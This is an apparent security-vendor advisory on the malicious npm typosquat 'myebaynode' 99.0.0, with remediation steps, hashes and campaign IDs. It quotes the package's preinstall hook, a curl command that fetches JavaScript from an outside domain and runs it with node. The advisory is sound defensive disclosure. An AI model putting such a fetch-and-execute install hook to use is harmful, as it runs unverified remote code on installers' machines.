Which versions of myebaynode are malicious?

The following npm versions of myebaynode are flagged malicious: 99.0.0. Treat any of these as compromised.

How do I remediate myebaynode if I installed it?

myebaynode is a typosquat — you almost certainly intended a legitimately-named package. Remove myebaynode, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed myebaynode — how do I know if it already compromised me?

If myebaynode was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is myebaynode part of a known attack campaign?

Yes — myebaynode is associated with the IN-MAL-2026-007197, RLMA-2026-05577, RLUA-2026-06339 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find myebaynode across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for myebaynode (version 99.0.0).

Malicious package

myebaynodenpm

Advisory published Jun 23, 2026Updated Sep 1, 2026

myebaynode is a confirmed malicious npm package (MAL-2026-6296) that typosquats a legitimate package to trick installs (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in myebaynode (npm)

MAL-2026-6296

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall myebaynode

What this malware does

package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching JavaScript from an external, mutable, personal domain and immediately executing it under the installer's user account on npm install. The fetched payload is unpinned (no hash or signature verification), can be changed by the host's owner at any time, and runs with full filesystem and network access of the installing user. The package name 'myebaynode' with description 'Ebay Node Package', version 99.0.0, and minimal metadata (author 'aman', no repository) suggests brand-impersonation intended to lure developers searching for an eBay SDK.

Malicious versions

1 flagged

99.0.0

Indicators of compromise (SHA-256)

12d56c05672731322d45fb9273fb782a6b8042260fb019b2d96c755eed084fc3

b0578356f81c3c241eb797cc81f8ffee3fa09de88db2a13968537e3300c13ad6

c70bf4585f3f58176488c0d0e8bec851e163d7aa908038be4883bcefdd70d9ec

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for myebaynode (version 99.0.0).
If you installed it — respond
myebaynode is a typosquat — you almost certainly intended a legitimately-named package. Remove myebaynode, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If myebaynode was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. myebaynode on npm has been identified as a malicious package (version 99.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007197RLMA-2026-05577RLUA-2026-06339

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks myebaynode-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database